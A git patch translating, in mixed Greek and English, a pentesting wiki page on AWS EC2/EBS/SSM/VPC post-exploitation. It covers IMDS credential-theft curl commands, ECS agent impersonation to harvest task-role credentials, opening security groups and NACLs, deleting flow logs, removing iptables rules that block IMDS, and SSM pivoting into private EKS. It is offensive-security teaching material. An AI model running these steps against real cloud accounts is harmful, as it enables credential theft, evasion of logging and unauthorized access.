From a70234c9b7ddad4d413c64aa172fb34e2e5226f9 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 13 Jan 2026 14:43:41 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation --- .../README.md | 158 +++++++++--------- 1 file changed, 82 insertions(+), 76 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index e0fa768c8..998068e6a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -10,10 +10,10 @@ ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` +### **Κακόβουλος VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** χωρίς την ανάγκη εγκατάστασης οτιδήποτε στα ίδια τα instances. Αυτή η αντιγραμμένη κίνηση συνήθως αποστέλλεται σε κάτι σαν network intrusion detection system (IDS) για ανάλυση και παρακολούθηση.\ -Ένας επιτιθέμενος θα μπορούσε να το καταχραστεί για να καταγράψει όλη την κίνηση και να αποκτήσει ευαίσθητες πληροφορίες από αυτήν: +Το VPC traffic mirroring **διπλασιάζει την εισερχόμενη και εξερχόμενη κυκλοφορία για EC2 instances εντός ενός VPC** χωρίς την ανάγκη εγκατάστασης οτιδήποτε στις ίδιες τις instances. Αυτή η διπλασιασμένη κυκλοφορία συνήθως αποστέλλεται σε κάτι σαν σύστημα ανίχνευσης εισβολών δικτύου (IDS) για ανάλυση και παρακολούθηση.\ +Ένας επιτιθέμενος θα μπορούσε να το καταχραστεί για να συλλάβει όλη την κυκλοφορία και να αποκτήσει ευαίσθητες πληροφορίες από αυτήν: Για περισσότερες πληροφορίες δείτε αυτή τη σελίδα: @@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md ### Copy Running Instance -Τα instances συνήθως περιέχουν κάποιο είδος ευαίσθητων πληροφοριών. Υπάρχουν διαφορετικοί τρόποι για να αποκτήσετε πρόσβαση (βλέπε [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Ωστόσο, ένας άλλος τρόπος για να ελέγξετε τι περιέχει είναι να **δημιουργήσετε ένα AMI και να εκκινήσετε ένα νέο instance (ακόμη και στο δικό σας account) από αυτό**: +Οι instances συνήθως περιέχουν κάποιο είδος ευαίσθητων πληροφοριών. Υπάρχουν διάφοροι τρόποι για να αποκτήσετε πρόσβαση σε αυτές (δείτε [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Ωστόσο, ένας άλλος τρόπος να δείτε τι περιέχουν είναι να **δημιουργήσετε ένα AMI και να εκκινήσετε ένα νέο instance (ακόμα και στον δικό σας λογαριασμό) από αυτό**: ```shell # List instances aws ec2 describe-images @@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Snapshots are backups of volumes**, τα οποία συνήθως περιέχουν **ευαίσθητες πληροφορίες**, επομένως ο έλεγχος τους θα πρέπει να αποκαλύψει αυτές τις πληροφορίες.\ -Αν βρείτε ένα **volume without a snapshot** μπορείτε να: **Create a snapshot** και να εκτελέσετε τις ακόλουθες ενέργειες ή απλώς **mount it in an instance** μέσα στον λογαριασμό: +**Snapshots are backups of volumes**, τα οποία συνήθως θα περιέχουν **ευαίσθητες πληροφορίες**, επομένως η εξέτασή τους θα πρέπει να αποκαλύψει αυτές τις πληροφορίες.\ +Εάν βρείτε ένα **volume χωρίς snapshot** μπορείτε: **Δημιουργήστε ένα snapshot** και εκτελέστε τις παρακάτω ενέργειες ή απλά **προσαρτήστε το σε ένα instance** μέσα στον λογαριασμό: {{#ref}} aws-ebs-snapshot-dump.md @@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md ### Covert Disk Exfiltration via AMI Store-to-S3 -Εξάγετε ένα EC2 AMI απευθείας σε S3 χρησιμοποιώντας `CreateStoreImageTask` για να αποκτήσετε ένα raw disk image χωρίς snapshot sharing. Αυτό επιτρέπει πλήρη offline forensics ή data theft ενώ το instance networking παραμένει ανέπαφο. +Εξάγετε ένα EC2 AMI απευθείας σε S3 χρησιμοποιώντας `CreateStoreImageTask` για να αποκτήσετε μια ακατέργαστη εικόνα δίσκου χωρίς κοινή χρήση snapshot. Αυτό επιτρέπει πλήρη offline εγκληματολογική ανάλυση ή κλοπή δεδομένων, ενώ το δίκτυο του instance παραμένει ανεπηρέαστο. {{#ref}} aws-ami-store-s3-exfiltration.md @@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md ### Live Data Theft via EBS Multi-Attach -Συνδέστε ένα io1/io2 Multi-Attach volume σε ένα δεύτερο instance και κάντε mount ως read-only για να αποσπάσετε live data χωρίς snapshots. Χρήσιμο όταν το victim volume έχει ήδη ενεργοποιημένο Multi-Attach στην ίδια AZ. +Συνδέστε (attach) ένα io1/io2 Multi-Attach volume σε ένα δεύτερο instance και προσαρτήστε το ως read-only για να αναρροφήσετε live δεδομένα χωρίς snapshots. Χρήσιμο όταν το volume του θύματος έχει ήδη ενεργοποιημένο Multi-Attach στην ίδια AZ. {{#ref}} aws-ebs-multi-attach-data-theft.md @@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md ### EC2 Instance Connect Endpoint Backdoor -Δημιουργήστε ένα EC2 Instance Connect Endpoint, εξουσιοδοτήστε ingress και εγχύστε ephemeral SSH keys για πρόσβαση σε private instances μέσω ενός managed tunnel. Παρέχει γρήγορες διαδρομές lateral movement χωρίς να ανοίγετε public ports. +Δημιουργήστε ένα EC2 Instance Connect Endpoint, εξουσιοδοτήστε ingress και εισάγετε προσωρινά SSH keys για πρόσβαση σε ιδιωτικά instances μέσω ενός managed tunnel. Παρέχει γρήγορες διαδρομές lateral movement χωρίς να ανοίγονται δημόσια ports. {{#ref}} aws-ec2-instance-connect-endpoint-backdoor.md @@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md ### EC2 ENI Secondary Private IP Hijack -Μεταφέρετε τη secondary private IP ενός victim ENI σε ένα ENI που ελέγχεται από τον attacker για να μιμηθείτε trusted hosts που είναι allowlisted κατά IP. Επιτρέπει την παράκαμψη internal ACLs ή SG rules που βασίζονται σε συγκεκριμένες διευθύνσεις. +Μετακινήστε τη δευτερεύουσα private IP ενός victim ENI σε ENI που ελέγχεται από τον επιτιθέμενο για να μιμηθείτε αξιόπιστους hosts που είναι allowlisted κατά IP. Επιτρέπει την παράκαμψη εσωτερικών ACLs ή SG κανόνων που βασίζονται σε συγκεκριμένες διευθύνσεις. {{#ref}} aws-eni-secondary-ip-hijack.md @@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md ### Elastic IP Hijack for Ingress/Egress Impersonation -Ανασυνδέστε (reassociate) ένα Elastic IP από την victim instance στον attacker για να υποκλέψετε inbound traffic ή να προκύψετε outbound connections που φαίνεται να προέρχονται από trusted public IPs. +Επανασυνδέστε (reassociate) ένα Elastic IP από το instance του θύματος στον επιτιθέμενο για να υποκλέψετε εισερχόμενη κίνηση ή να ξεκινήσετε εξερχόμενες συνδέσεις που φαίνεται να προέρχονται από αξιόπιστες δημόσιες IPs. {{#ref}} aws-eip-hijack-impersonation.md @@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md ### Security Group Backdoor via Managed Prefix Lists -Αν ένας κανόνας security group αναφέρεται σε μια customer-managed prefix list, η προσθήκη attacker CIDRs στη λίστα επεκτείνει αθόρυβα την πρόσβαση σε κάθε εξαρτώμενο SG rule χωρίς να τροποποιηθεί το ίδιο το SG. +Εάν ένας κανόνας security group αναφέρεται σε έναν customer-managed prefix list, η προσθήκη CIDRs του επιτιθέμενου στη λίστα διευρύνει σιωπηλά την πρόσβαση σε κάθε εξαρτώμενο SG κανόνα χωρίς να τροποποιηθεί ο ίδιος ο SG. {{#ref}} aws-managed-prefix-list-backdoor.md @@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md ### VPC Endpoint Egress Bypass -Δημιουργήστε gateway ή interface VPC endpoints για να ανακτήσετε outbound access από απομονωμένα subnets. Η αξιοποίηση AWS-managed private links παρακάμπτει την έλλειψη IGW/NAT controls για data exfiltration. +Δημιουργήστε gateway ή interface VPC endpoints για να επανακτήσετε εξερχόμενη πρόσβαση από απομονωμένα subnets. Η αξιοποίηση AWS-managed private links παρακάμπτει ελλείποντες ελέγχους IGW/NAT για εξαγωγή δεδομένων. {{#ref}} aws-vpc-endpoint-egress-bypass.md @@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md ### `ec2:AuthorizeSecurityGroupIngress` -Ένας attacker με την ec2:AuthorizeSecurityGroupIngress permission μπορεί να προσθέσει inbound rules σε security groups (π.χ. επιτρέποντας tcp:80 από 0.0.0.0/0), εκθέτοντας έτσι internal services στο public Internet ή σε μη εξουσιοδοτημένα δίκτυα. +Ένας επιτιθέμενος με την άδεια ec2:AuthorizeSecurityGroupIngress μπορεί να προσθέσει inbound κανόνες σε security groups (π.χ. επιτρέποντας tcp:80 από 0.0.0.0/0), εκθέτοντας έτσι εσωτερικές υπηρεσίες στο δημόσιο Internet ή σε μη εξουσιοδοτημένα δίκτυα. ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 ``` # `ec2:ReplaceNetworkAclEntry` -Ένας επιτιθέμενος με δικαιώματα ec2:ReplaceNetworkAclEntry (ή παρόμοια) μπορεί να τροποποιήσει τα Network ACLs (NACLs) ενός subnet για να τα κάνει πολύ πιο επιεική — για παράδειγμα επιτρέποντας 0.0.0.0/0 σε κρίσιμες θύρες — εκθέτοντας ολόκληρο το εύρος του subnet στο Internet ή σε μη εξουσιοδοτημένα τμήματα δικτύου. Σε αντίθεση με τα Security Groups, που εφαρμόζονται ανά-instance, τα NACLs εφαρμόζονται σε επίπεδο subnet, οπότε η αλλαγή ενός περιοριστικού NACL μπορεί να έχει πολύ μεγαλύτερη έκταση επιρροής επιτρέποντας πρόσβαση σε πολλούς περισσότερους hosts. +Ένας επιτιθέμενος με δικαιώματα ec2:ReplaceNetworkAclEntry (ή παρόμοια) μπορεί να τροποποιήσει τα Network ACLs (NACLs) ενός subnet και να τα κάνει πολύ επιεική — για παράδειγμα επιτρέποντας 0.0.0.0/0 σε critical ports — εκθέτοντας ολόκληρο το εύρος του subnet στο Internet ή σε μη εξουσιοδοτημένα τμήματα δικτύου. Σε αντίθεση με τα Security Groups, που εφαρμόζονται ανά instance, τα NACLs εφαρμόζονται σε επίπεδο subnet, οπότε η αλλαγή ενός περιοριστικού NACL μπορεί να έχει πολύ μεγαλύτερο blast radius επιτρέποντας πρόσβαση σε πολλούς περισσότερους hosts. ```bash aws ec2 replace-network-acl-entry \ --network-acl-id \ @@ -131,16 +131,16 @@ aws ec2 replace-network-acl-entry \ ``` ### `ec2:Delete*` -Ένας επιτιθέμενος με δικαιώματα ec2:Delete* και iam:Remove* μπορεί να διαγράψει κρίσιμες υποδομές και ρυθμίσεις — για παράδειγμα key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Αυτό μπορεί να προκαλέσει άμεση διακοπή υπηρεσίας, απώλεια δεδομένων και απώλεια αποδεικτικών στοιχείων για forensic. +Ένας attacker με δικαιώματα ec2:Delete* και iam:Remove* μπορεί να διαγράψει κρίσιμους πόρους υποδομής και ρυθμίσεις — για παράδειγμα key pairs, launch templates/versions, AMIs/snapshots, volumes ή attachments, security groups ή rules, ENIs/network endpoints, route tables, gateways ή managed endpoints. Αυτό μπορεί να προκαλέσει άμεση διακοπή υπηρεσίας, απώλεια δεδομένων και απώλεια δικανικών αποδεικτικών στοιχείων. -Ένα παράδειγμα είναι η διαγραφή ενός security group: +One example is deleting a security group: aws ec2 delete-security-group \ --group-id ### VPC Flow Logs Cross-Account Exfiltration -Κατευθύνετε τα VPC Flow Logs σε ένα S3 bucket που ελέγχεται από επιτιθέμενο για να συλλέγετε συνεχώς metadata δικτύου (source/destination, ports) εκτός του λογαριασμού-θύματος για μακροχρόνια αναγνώριση. +Δείτε τα VPC Flow Logs να δείχνουν σε έναν attacker-controlled S3 bucket για να συλλέγετε συνεχώς metadata δικτύου (source/destination, ports) εκτός του victim account για μακροχρόνια reconnaissance. {{#ref}} aws-vpc-flow-logs-cross-account-exfiltration.md @@ -150,68 +150,72 @@ aws-vpc-flow-logs-cross-account-exfiltration.md #### DNS Exfiltration -Ακόμη και αν περιορίσετε (lock down) ένα EC2 έτσι ώστε να μην μπορεί να βγει κίνηση, μπορεί παρ' όλα αυτά να κάνει **exfil via DNS**. +Ακόμα κι αν κλειδώσεις ένα EC2 ώστε να μην μπορεί να φύγει καμία κίνηση, μπορεί ακόμη να **exfil via DNS**. - **VPC Flow Logs will not record this**. -- Δεν έχετε πρόσβαση στα AWS DNS αρχεία καταγραφής. -- Απενεργοποιήστε αυτό ορίζοντας το "enableDnsSupport" σε false με: +- You have no access to AWS DNS logs. +- Disable this by setting "enableDnsSupport" to false with: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -Ένας επιτιθέμενος μπορεί να καλέσει API endpoints ενός λογαριασμού που ελέγχει. Το Cloudtrail θα καταγράψει αυτές τις κλήσεις και ο επιτιθέμενος θα μπορεί να δει τα exfiltrate δεδομένα στα Cloudtrail logs. +Ένας attacker θα μπορούσε να καλεί API endpoints ενός account που ελέγχει. Cloudtrail θα καταγράψει αυτές τις κλήσεις και ο attacker θα μπορεί να δει τα exfiltrate δεδομένα στα Cloudtrail logs. ### Open Security Group -Μπορείτε να αποκτήσετε περαιτέρω πρόσβαση σε υπηρεσίες δικτύου ανοίγοντας θύρες όπως το εξής: +Μπορείτε να αποκτήσετε περαιτέρω πρόσβαση σε network υπηρεσίες ανοίγοντας ports όπως το παρακάτω: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` ### Privesc to ECS -It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data. +Είναι δυνατό να τρέξετε ένα EC2 instance και να το καταχωρήσετε ώστε να χρησιμοποιηθεί για την εκτέλεση ECS instances και στη συνέχεια να αποσπάσετε τα δεδομένα των ECS instances. -For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). +Για [**περισσότερες πληροφορίες δείτε αυτό**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). -### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation +### ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape) -Μια παραβίαση μέσα σε οποιαδήποτε ECS task που τρέχει σε ένα EC2 container instance συνήθως αρκεί για να μετατοπιστείτε στον ρόλο του host και στους IAM ρόλους που σχετίζονται με όλες τις άλλες εργασίες σε εκείνον τον κόμβο. Επειδή υπάρχει **no task isolation for ECS-on-EC2**, κάθε task μπορεί από προεπιλογή να κάνει query στο EC2 Instance Metadata Service (IMDS), να κλέψει το container instance profile, και στη συνέχεια να μιλήσει το ίδιο πρωτόκολλο WebSocket που χρησιμοποιεί ο ECS agent προς το control plane (το **ECScape** primitive) για να ζητήσει τα credentials για κάθε task που είναι αυτήν τη στιγμή προγραμματισμένο σε εκείνο τον host. Η Latacora τεκμηρίωσε αυτή τη ροή εργασίας στην [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), την οποία συνοψίζει η παρακάτω offensive περίληψη. +Σε ECS με τον EC2 launch type, το control plane υποδύεται κάθε task role και σπρώχνει τα προσωρινά credentials στον ECS agent μέσω του Agent Communication Service (ACS) WebSocket channel. Ο agent στη συνέχεια παρέχει αυτά τα credentials στα containers μέσω του task metadata endpoint (169.254.170.2). Η έρευνα ECScape δείχνει ότι αν ένα container μπορεί να φτάσει το IMDS και να κλέψει το **instance profile**, μπορεί να μιμηθεί τον agent πάνω από ACS και να λάβει **every task role credential** σε αυτό το host, συμπεριλαμβανομένων των **task execution role** credentials που δεν εκτίθενται μέσω του metadata endpoint. #### Attack chain -1. **Steal the instance profile from inside the container.** Κλέψτε το instance profile από μέσα στο container. Θεωρήστε ότι απαιτείται IMDSv2, οπότε ζητήστε ένα token και μετά ανακτήστε το profile. +1. **Steal the container instance role from IMDS.** Η πρόσβαση στο IMDS απαιτείται για να αποκτήσετε το host role που χρησιμοποιεί ο ECS agent. ```bash TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") -curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName} +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ +http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName} ``` -2. **Use the container instance role to impersonate the ECS agent.** Χρησιμοποιώντας αυτά τα credentials μπορείτε να μιλήσετε στο μη τεκμηριωμένο WebSocket κανάλι που χρησιμοποιεί ο ECS agent· το control plane σας εμπιστεύεται ως τον πραγματικό agent και παραδίδει **all task IAM credentials** στη διαδικασία σας. Τώρα μπορείτε να τρέξετε τοπικά tasks με υψηλότερα προνόμια, να εξάγετε μυστικά από το περιβάλλον των tasks, ή να ενημερώσετε services/tasks για να επανααναπτύξετε workloads που μπορείτε να ελέγξετε πλήρως. +2. **Discover the ACS poll endpoint and required identifiers.** Χρησιμοποιώντας τα credentials του instance role, καλέστε `ecs:DiscoverPollEndpoint` για να αποκτήσετε το ACS endpoint και να συγκεντρώσετε αναγνωριστικά όπως το cluster ARN και το container instance ARN. Το cluster ARN εκτίθεται μέσω του task metadata (169.254.170.2/v4/), ενώ το container instance ARN μπορεί να ληφθεί μέσω του agent introspection API ή (αν επιτρέπεται) `ecs:ListContainerInstances`. +3. **Impersonate the ECS agent over ACS.** Ξεκινήστε ένα SigV4-signed WebSocket στο poll endpoint και συμπεριλάβετε `sendCredentials=true`. Το ECS αποδέχεται τη σύνδεση ως έγκυρη agent session και αρχίζει να stream-άρει μηνύματα `IamRoleCredentials` για **όλα** τα tasks στο instance. Αυτό περιλαμβάνει credentials task execution role, που μπορούν να ξεκλειδώσουν ECR pulls, Secrets Manager retrievals ή πρόσβαση σε CloudWatch Logs. + +**Βρείτε το PoC στο ** #### IMDS reachability with IMDSv2 + hop limit 1 -Η ρύθμιση IMDSv2 με `HttpTokens=required` και `HttpPutResponseHopLimit=1` μπλοκάρει μόνο τα tasks που βρίσκονται πίσω από ένα επιπλέον hop (Docker bridge). Οι άλλοι τρόποι δικτύωσης παραμένουν εντός ενός hop από τον Nitro controller και εξακολουθούν να λαμβάνουν απαντήσεις: +Η ρύθμιση του IMDSv2 με `HttpTokens=required` και `HttpPutResponseHopLimit=1` μπλοκάρει μόνο τα tasks που ζουν πίσω από ένα επιπλέον hop (Docker bridge). Άλλοι network modes παραμένουν εντός ενός hop από τον Nitro controller και εξακολουθούν να λαμβάνουν απαντήσεις: -| ECS network mode | IMDS reachable? | Reason | +| ECS network mode | IMDS προσβάσιμο? | Λόγος | | --- | --- | --- | -| `awsvpc` | ✅ | Κάθε task παίρνει το δικό της ENI που εξακολουθεί να είναι ένα hop μακριά από το IMDS, οπότε τα tokens και οι απαντήσεις metadata φτάνουν επιτυχώς. | +| `awsvpc` | ✅ | Κάθε task παίρνει το δικό του ENI που παραμένει ένα hop μακριά από το IMDS, οπότε τα tokens και οι απαντήσεις metadata φτάνουν επιτυχώς. | | `host` | ✅ | Τα tasks μοιράζονται το host namespace, οπότε βλέπουν την ίδια απόσταση hop με το EC2 instance. | -| `bridge` | ❌ | Οι απαντήσεις χάνονται στο Docker bridge επειδή αυτό το επιπλέον hop εξαντλεί το hop limit. | +| `bridge` | ❌ | Οι απαντήσεις διακόπτονται στη Docker bridge επειδή αυτό το επιπλέον hop εξαντλεί το hop limit. | -Therefore, **never assume hop limit 1 protects awsvpc or host-mode workloads**—always test from inside your containers. +Επομένως, **μην υποθέτετε ποτέ ότι το hop limit 1 προστατεύει τα awsvpc ή host-mode workloads**—δοκιμάζετε πάντα από μέσα στα containers σας. #### Detecting IMDS blocks per network mode -- **awsvpc tasks:** Τα Security groups, οι NACLs ή αλλαγές δρομολόγησης δεν μπορούν να μπλοκάρουν τη link-local διεύθυνση 169.254.169.254 επειδή ο Nitro την εγχέει στο host. Ελέγξτε το `/etc/ecs/ecs.config` για `ECS_AWSVPC_BLOCK_IMDS=true`. Αν η σημαία λείπει (προεπιλογή) μπορείτε να κάνετε curl στο IMDS απευθείας από το task. Αν είναι ρυθμισμένη, μεταβείτε στο host/agent namespace για να την αναστρέψετε ή εκτελέστε τα εργαλεία σας εκτός awsvpc. +- **awsvpc tasks:** Security groups, NACLs, ή τροποποιήσεις routing δεν μπορούν να μπλοκάρουν τη link-local διεύθυνση 169.254.169.254 επειδή το Nitro την εγχέει στο host. Ελέγξτε `/etc/ecs/ecs.config` για `ECS_AWSVPC_BLOCK_IMDS=true`. Αν η σημαία λείπει (default) μπορείτε να κάνετε curl το IMDS απευθείας από το task. Αν είναι ρυθμισμένη, pivot-άρετε στο host/agent namespace για να την αλλάξετε πίσω ή εκτελέστε τα εργαλεία σας έξω από το awsvpc. -- **bridge mode:** Όταν τα αιτήματα metadata αποτυγχάνουν παρόλο που το hop limit 1 είναι ρυθμισμένο, οι αμυνόμενοι πιθανότατα εισήγαγαν έναν κανόνα DROP στο `DOCKER-USER` όπως `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Η εντολή `iptables -S DOCKER-USER` τον αποκαλύπτει, και η πρόσβαση root σας επιτρέπει να διαγράψετε ή να αλλάξετε τη σειρά του κανόνα πριν κάνετε query στο IMDS. +- **bridge mode:** Όταν τα requests για metadata αποτυγχάνουν παρόλο που το hop limit 1 είναι ρυθμισμένο, οι αμυνόμενοι πιθανώς πρόσθεσαν έναν `DOCKER-USER` drop κανόνα όπως `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Η λίστα `iptables -S DOCKER-USER` το αποκαλύπτει, και η root πρόσβαση σάς επιτρέπει να διαγράψετε ή να αλλάξετε τη σειρά του κανόνα πριν κάνετε query στο IMDS. -- **host mode:** Ελέγξτε τη διαμόρφωση του agent για `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Αυτή η ρύθμιση αφαιρεί εντελώς τους IAM ρόλους των tasks, οπότε πρέπει είτε να την ενεργοποιήσετε ξανά, να μεταβείτε σε awsvpc tasks, είτε να κλέψετε credentials μέσω κάποιου άλλου process στο host. Όταν η τιμή είναι `true` (προεπιλογή), κάθε host-mode process — συμπεριλαμβανομένων των παραβιασμένων containers — μπορεί να προσεγγίσει το IMDS εκτός αν ειδικά eBPF/cgroup φίλτρα στοχεύουν τη διεύθυνση `169.254.169.254`; ψάξτε για tc/eBPF προγράμματα ή iptables κανόνες που αναφέρονται σε αυτή τη διεύθυνση. +- **host mode:** Ελέγξτε την agent configuration για `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Αυτή η ρύθμιση αφαιρεί εντελώς τα task IAM roles, οπότε πρέπει είτε να την ενεργοποιήσετε ξανά, να μετακινηθείτε σε awsvpc tasks, είτε να αποσπάσετε credentials μέσω άλλης διεργασίας στο host. Όταν η τιμή είναι `true` (default), κάθε host-mode process—συμπεριλαμβανομένων των συμβιβασμένων containers—μπορεί να φτάσει το IMDS, εκτός αν ειδικά eBPF/cgroup φίλτρα στοχεύουν το `169.254.169.254`; ψάξτε για tc/eBPF προγράμματα ή iptables κανόνες που αναφέρονται σε αυτή τη διεύθυνση. -Η Latacora δημοσίευσε ακόμη και [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) που μπορείτε να ρίξετε σε έναν target account για να εντοπίσετε ποιες λειτουργίες δικτύωσης εξακολουθούν να εκθέτουν metadata και να σχεδιάσετε το επόμενο βήμα σας ανάλογα. +Η Latacora ακόμη κυκλοφόρησε [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) που μπορείτε να ρίξετε σε έναν target account για να απαριθμήσετε ποιες λειτουργίες δικτύου εξακολουθούν να εκθέτουν metadata και να σχεδιάσετε το επόμενο βήμα σας ανάλογα. -Μόλις κατανοήσετε ποιες λειτουργίες εκθέτουν το IMDS, μπορείτε να σχεδιάσετε την post-exploitation πορεία σας: στοχεύστε οποιαδήποτε ECS task, ζητήστε το instance profile, μιμηθείτε τον agent και συλλέξτε κάθε άλλο task role για lateral movement ή persistence μέσα στο cluster. +Μόλις κατανοήσετε ποιες λειτουργίες εκθέτουν το IMDS, μπορείτε να σχεδιάσετε τη διαδρομή post-exploitation: στοχεύστε οποιοδήποτε ECS task, ζητήστε το instance profile, μιμηθείτε τον agent και συλλέξτε κάθε άλλο task role για lateral movement ή persistence μέσα στο cluster. ### Αφαίρεση VPC flow logs ```bash @@ -223,19 +227,19 @@ aws ec2 delete-flow-logs --flow-log-ids --region - `ssm:StartSession` -Εκτός από την εκτέλεση εντολών, το SSM επιτρέπει traffic tunneling το οποίο μπορεί να καταχραστεί για να γίνει pivoting από EC2 instances που δεν έχουν πρόσβαση στο δίκτυο λόγω Security Groups ή NACLs. +Εκτός από την εκτέλεση εντολών, το SSM επιτρέπει traffic tunneling, το οποίο μπορεί να καταχραστεί για pivot από EC2 instances που δεν έχουν πρόσβαση δικτύου λόγω Security Groups ή NACLs. Ένα από τα σενάρια όπου αυτό είναι χρήσιμο είναι το pivoting από ένα [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) σε ένα ιδιωτικό EKS cluster. -> Για να ξεκινήσετε μια συνεδρία χρειάζεστε εγκατεστημένο το SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +> Για να ξεκινήσετε μια συνεδρία χρειάζεται να έχετε εγκατεστημένο το SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html -1. Εγκαταστήστε το SessionManagerPlugin στον υπολογιστή σας -2. Συνδεθείτε στο Bastion EC2 χρησιμοποιώντας την ακόλουθη εντολή: +1. Εγκαταστήστε το SessionManagerPlugin στη μηχανή σας +2. Συνδεθείτε στον Bastion EC2 χρησιμοποιώντας την ακόλουθη εντολή: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Πάρε τις προσωρινές διαπιστεύσεις AWS του Bastion EC2 με το [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script -4. Μεταφέρε τις διαπιστεύσεις στο δικό σου μηχάνημα στο αρχείο `$HOME/.aws/credentials` ως προφίλ `[bastion-ec2]` -5. Συνδέσου στο EKS ως το Bastion EC2: +3. Πάρε τα προσωρινά credentials του Bastion EC2 AWS με το [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script +4. Μετάφερε τα credentials στο δικό σου μηχάνημα στο αρχείο `$HOME/.aws/credentials` ως προφίλ `[bastion-ec2]` +5. Σύνδεσου στο EKS ως το Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` @@ -244,43 +248,43 @@ aws eks update-kubeconfig --profile bastion-ec2 --region -- ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. Η κίνηση του εργαλείου `kubectl` προωθείται πλέον μέσω του SSM tunnel μέσω του Bastion EC2, και μπορείτε να αποκτήσετε πρόσβαση στο ιδιωτικό cluster EKS από τον υπολογιστή σας εκτελώντας: +8. Η κίνηση από το εργαλείο `kubectl` προωθείται τώρα μέσω του SSM tunnel του Bastion EC2 και μπορείτε να αποκτήσετε πρόσβαση στο ιδιωτικό EKS cluster από τον δικό σας υπολογιστή εκτελώντας: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks. +Σημειώστε ότι οι συνδέσεις SSL θα αποτύχουν εκτός εάν ορίσετε την παράμετρο `--insecure-skip-tls-verify` (ή το αντίστοιχο στα εργαλεία audit του K8s). Δεδομένου ότι η κυκλοφορία δρομολογείται μέσω του ασφαλούς AWS SSM tunnel, είστε 